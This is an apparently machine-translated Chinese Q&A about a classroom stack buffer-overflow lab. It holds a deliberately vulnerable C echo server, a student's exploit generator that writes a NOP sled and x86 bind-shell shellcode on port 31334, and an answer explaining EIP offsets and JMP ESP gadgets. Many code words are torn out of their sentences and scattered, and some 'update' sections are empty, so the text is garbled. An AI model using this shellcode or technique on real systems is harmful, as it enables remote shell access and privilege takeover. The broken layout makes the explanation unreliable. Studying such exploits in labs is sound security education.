这是课堂作业。我有点卡住,我只有一些问题可以帮助我继续前进。 (对我来说没有作弊:p)我认为对本科班级的残酷任务......
我们应该做什么:
nc compName.cs.myschool.edu 9050
如果我们键入一些内容然后按Ctrl + D,则会有服务器监听/回显。 我们需要使用该输入来破解服务器程序并创建具有sudo权限的帐户。
以下是相关代码:
int main(int argc, char const *argv[])
{
char input[1000];
int sockfd, newsockfd, portno, clilen, val = 1;
struct sockaddr_in serv_addr, cli_addr;
// some server code that I don't understand but probably isn't super relevant
dup2(newsockfd, 0); // bind stdin
dup2(newsockfd, 1); // bind stdout
dup2(newsockfd, 2); // bind stderr
bufferCopy( input, 0x1000, stdin );
printf("You entered: %s\n", input );
close(newsockfd);
close(sockfd);
return 0;
}
void bufferCopy( char * input, int inputLen, FILE * file )
{
int i = 0;
int c = 0;
while( (c = fgetc( file )) != EOF && i < inputLen - 2 )
{
input[i++] = c;
}
input[i] = 0;
}
更新 我知道我需要做什么:
更新 我在做什么:
cat attackCode | nc compName.cs.myschool.edu 9090
static const int NUM_NOPS = 800;
static const char NOP = 0x90;
static const int NUM_ADDRESSES = 800;
static char nopSled[800];
char shellcode[] = { // on port 31334 == 0x7a66
"\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80"
"\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x66\x66\x53\x89\xe1\x6a\x10"
"\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80"
"\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f"
"\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"
};
static const char returnAddress[] = {0xbf, 0xff, 0xf4, 0x40};
int i=0;
for(i=0; i < NUM_NOPS; i++){
nopSled[i] = NOP;
}
FILE * pFile;
pFile = fopen("attackCode", "w");
fwrite( nopSled, 1, sizeof(nopSled), pFile );
fwrite( shellcode, 1, 92, pFile );
for(i=0; i < NUM_ADDRESSES; i++ ){
fwrite( returnAddress, 1, 4, pFile );
}
fclose(pFile);
更新 我不明白的是:
非常感谢任何帮助!
答案 0 :(得分:3)
通常,您需要执行以下步骤:
至于第一点,你已经找到了一种触发溢出的方法(基本上任何输入值都大于1000字节)。
由于堆栈上的缓冲区溢出会覆盖缓冲区地址以下的数据,并且input
在main
函数的帧中分配了堆栈,因此缓冲区的某些部分将覆盖{{1}调用的返回地址。要找出哪个部分覆盖EIP,您可以使用metasploit’s pattern_create and pattern_offset tools。
现在棘手的部分可能是找到一种有效修改EIP跳转到shellcode的方法。使用这样的缓冲区:
main
AA…AA BBBB CC…CC
返回时的堆栈看起来像这样:
main
由于return将EIP设置为堆栈顶部的值(此处为 ⋮
0x41414141
0x41414141
0x42424242 <= ESP
0x43434343
0x43434343
⋮
)并通过减少堆栈指针来降低堆栈,因此BBBB
将直接跳转到shellcode之前JMP ESP
:
BBBB
要查找 ⋮
0x41414141
0x41414141
0x42424242
0x43434343 <= ESP,EIP
0x43434343
⋮
指令,请查看已加载的模块/库,并在gdb中使用以下命令检查它们:
JMP ESP
找到find /b <from addr>, <to addr>, 0xff, 0xe4
的地址,你可以用它覆盖堆栈上的返回地址,跳转到你的shellcode。